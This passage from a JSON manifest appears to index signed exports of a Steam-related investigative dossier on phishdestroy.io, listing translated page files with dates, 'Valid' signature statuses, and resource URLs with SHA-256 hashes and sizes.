                "investigation_part2.content.jsonexports/pages/ko/investigation_part2.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "legal_analysis.content.jsonexports/pages/ko/legal_analysis.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "license_disclaimer.content.jsonexports/pages/ko/license_disclaimer.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "market_economics.content.jsonexports/pages/ko/market_economics.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__index.content.jsonexports/pages/ko/output_steam_network__index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__network.content.jsonexports/pages/ko/output_steam_network__network.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/ko/output_steam_network__steam_ecosystem_dashboard.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/ko/output_steam_network__valve_ru_farming_isolated.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "regulatory_act_print.content.jsonexports/pages/ko/regulatory_act_print.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "security_timeline.content.jsonexports/pages/ko/security_timeline.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "skin_atlas.content.jsonexports/pages/ko/skin_atlas.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "social_graph.content.jsonexports/pages/ko/social_graph.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_enforcement_evidence.content.jsonexports/pages/ko/steam_enforcement_evidence.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_evidence_archive.content.jsonexports/pages/ko/steam_evidence_archive.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "support_canned_refusals.content.jsonexports/pages/ko/support_canned_refusals.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "valve_scandals_registry.content.jsonexports/pages/ko/valve_scandals_registry.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "card_economy.content.jsonexports/pages/nl/card_economy.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "elite_skins.content.jsonexports/pages/nl/elite_skins.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "enforcement_audit.content.jsonexports/pages/nl/enforcement_audit.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "index.content.jsonexports/pages/nl/index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "investigation_part2.content.jsonexports/pages/nl/investigation_part2.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "legal_analysis.content.jsonexports/pages/nl/legal_analysis.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "license_disclaimer.content.jsonexports/pages/nl/license_disclaimer.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "market_economics.content.jsonexports/pages/nl/market_economics.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__index.content.jsonexports/pages/nl/output_steam_network__index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__network.content.jsonexports/pages/nl/output_steam_network__network.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/nl/output_steam_network__steam_ecosystem_dashboard.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/nl/output_steam_network__valve_ru_farming_isolated.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "regulatory_act_print.content.jsonexports/pages/nl/regulatory_act_print.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "security_timeline.content.jsonexports/pages/nl/security_timeline.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "skin_atlas.content.jsonexports/pages/nl/skin_atlas.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "social_graph.content.jsonexports/pages/nl/social_graph.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_enforcement_evidence.content.jsonexports/pages/nl/steam_enforcement_evidence.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_evidence_archive.content.jsonexports/pages/nl/steam_evidence_archive.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "support_canned_refusals.content.jsonexports/pages/nl/support_canned_refusals.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "valve_scandals_registry.content.jsonexports/pages/nl/valve_scandals_registry.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "card_economy.content.jsonexports/pages/pl/card_economy.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "elite_skins.content.jsonexports/pages/pl/elite_skins.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "enforcement_audit.content.jsonexports/pages/pl/enforcement_audit.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "index.content.jsonexports/pages/pl/index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "investigation_part2.content.jsonexports/pages/pl/investigation_part2.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "legal_analysis.content.jsonexports/pages/pl/legal_analysis.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "license_disclaimer.content.jsonexports/pages/pl/license_disclaimer.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "market_economics.content.jsonexports/pages/pl/market_economics.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__index.content.jsonexports/pages/pl/output_steam_network__index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__network.content.jsonexports/pages/pl/output_steam_network__network.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/pl/output_steam_network__steam_ecosystem_dashboard.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/pl/output_steam_network__valve_ru_farming_isolated.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "regulatory_act_print.content.jsonexports/pages/pl/regulatory_act_print.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "security_timeline.content.jsonexports/pages/pl/security_timeline.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "skin_atlas.content.jsonexports/pages/pl/skin_atlas.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "social_graph.content.jsonexports/pages/pl/social_graph.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_enforcement_evidence.content.jsonexports/pages/pl/steam_enforcement_evidence.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_evidence_archive.content.jsonexports/pages/pl/steam_evidence_archive.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "support_canned_refusals.content.jsonexports/pages/pl/support_canned_refusals.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "valve_scandals_registry.content.jsonexports/pages/pl/valve_scandals_registry.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "card_economy.content.jsonexports/pages/pt/card_economy.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "elite_skins.content.jsonexports/pages/pt/elite_skins.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "enforcement_audit.content.jsonexports/pages/pt/enforcement_audit.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "index.content.jsonexports/pages/pt/index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "investigation_part2.content.jsonexports/pages/pt/investigation_part2.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "legal_analysis.content.jsonexports/pages/pt/legal_analysis.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "license_disclaimer.content.jsonexports/pages/pt/license_disclaimer.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "market_economics.content.jsonexports/pages/pt/market_economics.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__index.content.jsonexports/pages/pt/output_steam_network__index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__network.content.jsonexports/pages/pt/output_steam_network__network.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/pt/output_steam_network__steam_ecosystem_dashboard.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/pt/output_steam_network__valve_ru_farming_isolated.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "regulatory_act_print.content.jsonexports/pages/pt/regulatory_act_print.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "security_timeline.content.jsonexports/pages/pt/security_timeline.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "skin_atlas.content.jsonexports/pages/pt/skin_atlas.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "social_graph.content.jsonexports/pages/pt/social_graph.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_enforcement_evidence.content.jsonexports/pages/pt/steam_enforcement_evidence.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_evidence_archive.content.jsonexports/pages/pt/steam_evidence_archive.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "support_canned_refusals.content.jsonexports/pages/pt/support_canned_refusals.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "valve_scandals_registry.content.jsonexports/pages/pt/valve_scandals_registry.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "card_economy.content.jsonexports/pages/tr/card_economy.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "elite_skins.content.jsonexports/pages/tr/elite_skins.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "enforcement_audit.content.jsonexports/pages/tr/enforcement_audit.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "index.content.jsonexports/pages/tr/index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "investigation_part2.content.jsonexports/pages/tr/investigation_part2.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "legal_analysis.content.jsonexports/pages/tr/legal_analysis.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "license_disclaimer.content.jsonexports/pages/tr/license_disclaimer.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "market_economics.content.jsonexports/pages/tr/market_economics.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__index.content.jsonexports/pages/tr/output_steam_network__index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__network.content.jsonexports/pages/tr/output_steam_network__network.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/tr/output_steam_network__steam_ecosystem_dashboard.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/tr/output_steam_network__valve_ru_farming_isolated.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "regulatory_act_print.content.jsonexports/pages/tr/regulatory_act_print.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "security_timeline.content.jsonexports/pages/tr/security_timeline.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "skin_atlas.content.jsonexports/pages/tr/skin_atlas.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "social_graph.content.jsonexports/pages/tr/social_graph.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_enforcement_evidence.content.jsonexports/pages/tr/steam_enforcement_evidence.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_evidence_archive.content.jsonexports/pages/tr/steam_evidence_archive.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "support_canned_refusals.content.jsonexports/pages/tr/support_canned_refusals.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "valve_scandals_registry.content.jsonexports/pages/tr/valve_scandals_registry.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "card_economy.content.jsonexports/pages/uk/card_economy.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "elite_skins.content.jsonexports/pages/uk/elite_skins.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "enforcement_audit.content.jsonexports/pages/uk/enforcement_audit.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "index.content.jsonexports/pages/uk/index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "investigation_part2.content.jsonexports/pages/uk/investigation_part2.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "legal_analysis.content.jsonexports/pages/uk/legal_analysis.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "license_disclaimer.content.jsonexports/pages/uk/license_disclaimer.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "market_economics.content.jsonexports/pages/uk/market_economics.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__index.content.jsonexports/pages/uk/output_steam_network__index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__network.content.jsonexports/pages/uk/output_steam_network__network.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/uk/output_steam_network__steam_ecosystem_dashboard.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/uk/output_steam_network__valve_ru_farming_isolated.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "regulatory_act_print.content.jsonexports/pages/uk/regulatory_act_print.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "security_timeline.content.jsonexports/pages/uk/security_timeline.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "skin_atlas.content.jsonexports/pages/uk/skin_atlas.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "social_graph.content.jsonexports/pages/uk/social_graph.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_enforcement_evidence.content.jsonexports/pages/uk/steam_enforcement_evidence.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_evidence_archive.content.jsonexports/pages/uk/steam_evidence_archive.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "support_canned_refusals.content.jsonexports/pages/uk/support_canned_refusals.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "valve_scandals_registry.content.jsonexports/pages/uk/valve_scandals_registry.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "card_economy.content.jsonexports/pages/vi/card_economy.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "elite_skins.content.jsonexports/pages/vi/elite_skins.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "enforcement_audit.content.jsonexports/pages/vi/enforcement_audit.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "index.content.jsonexports/pages/vi/index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "investigation_part2.content.jsonexports/pages/vi/investigation_part2.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "legal_analysis.content.jsonexports/pages/vi/legal_analysis.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "license_disclaimer.content.jsonexports/pages/vi/license_disclaimer.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "market_economics.content.jsonexports/pages/vi/market_economics.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__index.content.jsonexports/pages/vi/output_steam_network__index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__network.content.jsonexports/pages/vi/output_steam_network__network.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/vi/output_steam_network__steam_ecosystem_dashboard.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/vi/output_steam_network__valve_ru_farming_isolated.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "regulatory_act_print.content.jsonexports/pages/vi/regulatory_act_print.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "security_timeline.content.jsonexports/pages/vi/security_timeline.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "skin_atlas.content.jsonexports/pages/vi/skin_atlas.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "social_graph.content.jsonexports/pages/vi/social_graph.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_enforcement_evidence.content.jsonexports/pages/vi/steam_enforcement_evidence.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_evidence_archive.content.jsonexports/pages/vi/steam_evidence_archive.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "support_canned_refusals.content.jsonexports/pages/vi/support_canned_refusals.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "valve_scandals_registry.content.jsonexports/pages/vi/valve_scandals_registry.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "card_economy.content.jsonexports/pages/zh/card_economy.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "elite_skins.content.jsonexports/pages/zh/elite_skins.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "enforcement_audit.content.jsonexports/pages/zh/enforcement_audit.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "index.content.jsonexports/pages/zh/index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "investigation_part2.content.jsonexports/pages/zh/investigation_part2.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "legal_analysis.content.jsonexports/pages/zh/legal_analysis.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "license_disclaimer.content.jsonexports/pages/zh/license_disclaimer.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "market_economics.content.jsonexports/pages/zh/market_economics.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__index.content.jsonexports/pages/zh/output_steam_network__index.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__network.content.jsonexports/pages/zh/output_steam_network__network.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__steam_ecosystem_dashboard.content.jsonexports/pages/zh/output_steam_network__steam_ecosystem_dashboard.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "output_steam_network__valve_ru_farming_isolated.content.jsonexports/pages/zh/output_steam_network__valve_ru_farming_isolated.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "regulatory_act_print.content.jsonexports/pages/zh/regulatory_act_print.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "security_timeline.content.jsonexports/pages/zh/security_timeline.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "skin_atlas.content.jsonexports/pages/zh/skin_atlas.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "social_graph.content.jsonexports/pages/zh/social_graph.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_enforcement_evidence.content.jsonexports/pages/zh/steam_enforcement_evidence.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam_evidence_archive.content.jsonexports/pages/zh/steam_evidence_archive.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "support_canned_refusals.content.jsonexports/pages/zh/support_canned_refusals.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "valve_scandals_registry.content.jsonexports/pages/zh/valve_scandals_registry.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam-dossier-ar.content.jsonexports/steam-dossier-ar.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam-dossier-de.content.jsonexports/steam-dossier-de.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam-dossier-en.content.jsonexports/steam-dossier-en.content.json",
                "2026-10-04",
                "Valid",
                "File.asc"
              ],
              [
                "steam-dossier-es.content.jsonexports/steam-dossier-es.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam-dossier-fr.content.jsonexports/steam-dossier-fr.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam-dossier-hi.content.jsonexports/steam-dossier-hi.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam-dossier-id.content.jsonexports/steam-dossier-id.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam-dossier-it.content.jsonexports/steam-dossier-it.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam-dossier-ja.content.jsonexports/steam-dossier-ja.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam-dossier-ko.content.jsonexports/steam-dossier-ko.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam-dossier-nl.content.jsonexports/steam-dossier-nl.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam-dossier-pl.content.jsonexports/steam-dossier-pl.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam-dossier-pt.content.jsonexports/steam-dossier-pt.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam-dossier-tr.content.jsonexports/steam-dossier-tr.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam-dossier-uk.content.jsonexports/steam-dossier-uk.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam-dossier-vi.content.jsonexports/steam-dossier-vi.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "steam-dossier-zh.content.jsonexports/steam-dossier-zh.content.json",
                "2026-09-30",
                "Valid",
                "File.asc"
              ],
              [
                "license-rights.jsonsteam_tos_assets/license-rights.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam-api-scam-exposed-release.jsonsteam_tos_assets/steam-api-scam-exposed-release.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "steam-shadow-economy-release.jsonsteam_tos_assets/steam-shadow-economy-release.json",
                "See signed file",
                "Valid",
                "File.asc"
              ],
              [
                "valve-profits-from-stolen-accounts-release.jsonsteam_tos_assets/valve-profits-from-stolen-accounts-release.json",
                "See signed file",
                "Valid",
                "File.asc"
              ]
            ]
          }
        ],
        "cited_source_ids": []
      },
      "resources": [
        {
          "url": "https://phishdestroy.io/steam_dossier/ai/signature-verification.json",
          "sha256": "795ce629c42d1f59797c39eebe7cee06a534491024e4c142de37d41810a170ad",
          "bytes": 210257
        },
        {
          "url": "https://phishdestroy.io/.well-known/pgp-key.txt",
          "sha256": "2b0725d644bd4a98d710a1737e8fda6acb632e1f55e2d3327d33fbffbebc7ad0",
          "bytes": 713
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/index.content.json",
          "sha256": "19e4a3297bcfb05d00dfdd718666bb68dfa3d089d2f59492c40cd345f1579f00",
          "bytes": 333356
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/pages/en/index.pdf",
          "sha256": "94dfc844fb1fb8aef41e8a6061e0c18c4eb18707ac8f360169ae4fdee83bd8ad",
          "bytes": 913452
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_major_skins_agent_simon.json",
          "sha256": "668b915ebc27b85e73080d8d751871e0be3fad0c554c4a5b31ba5032ac55b77f",
          "bytes": 327669
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_major_skins_phishdestroy.json",
          "sha256": "668b915ebc27b85e73080d8d751871e0be3fad0c554c4a5b31ba5032ac55b77f",
          "bytes": 327669
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_major_sponsorships_agent_rowan.json",
          "sha256": "41362d7c6b5b2b04af8ff21d33154b73387dd288f50f726cd69f85758d4991af",
          "bytes": 49449
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_1_agent_sean.json",
          "sha256": "5f2d4b9a7cb108b822baa44512182b310d3a7f0cd99f84d2b1afbce938230bdd",
          "bytes": 3717
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_2_agent_larry.json",
          "sha256": "07495f236005948e51867949db247d751bed398dd9e378605b09b43fc120d0c1",
          "bytes": 3594
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_3_agent_katherine.json",
          "sha256": "62904dfb7bafbd3135153e8f291915a33e4bfc4a83d2ddfc2699cebfe94b5303",
          "bytes": 3273
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_4_agent_elliott.json",
          "sha256": "1155c8ac6e10b7433649799cae04200edf8b28767213dd28c40deceb5379f2a4",
          "bytes": 9019
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_part_ii_section_5_agent_tabitha.json",
          "sha256": "cc92731ae524ae39f40875c321ac98270c32dd5e776977e5e2884d8b33fce64f",
          "bytes": 3024
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_10_agent_dylan.json",
          "sha256": "91dc564366c2ccf804a9ce2cc87a52cc25fc0f4cb52b64405ad13229530c13f3",
          "bytes": 7364
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_11_1_agent_constance.json",
          "sha256": "4f678c303c712fa19f66c78555a27865e7e6e8f4af7be1b52e6839f85a371505",
          "bytes": 24972
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_11_agent_mariana.json",
          "sha256": "978a0daf6b9fcbb6508ed5205b2ec3e69a3f20275b699a93a446cd3cfcc04d6f",
          "bytes": 38705
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_12_agent_randall.json",
          "sha256": "7c17c7688eeea81e8572f3ccc247a1890f97221e56a5e095de2c6bab9f16c3a4",
          "bytes": 11982
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_13_agent_neil.json",
          "sha256": "206517d76517407c7a2226ac8709837b53bc39cdeab09e68bb16dd0d9a9b0ced",
          "bytes": 14970
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_14_1_agent_dora.json",
          "sha256": "9530351892caa0f201acd24e279d6e39afda9056c61ea8b5a66a0eb01cbb14b9",
          "bytes": 16032
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_14_agent_tom.json",
          "sha256": "8116c034cc7d2487dec9bf197fea02d472ba028dacc29cb89b3258ad0c9d6c14",
          "bytes": 24482
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_15_agent_helen.json",
          "sha256": "7ba1a02d51d1e937c04df17cbd34b6bf87f544737ec7f63e9ea5fe4d47406788",
          "bytes": 9754
        },
        {
          "url": "https://phishdestroy.io/steam_dossier/exports/agent-protocol/files/en/steam_dossier_section_16_agent_john.json",
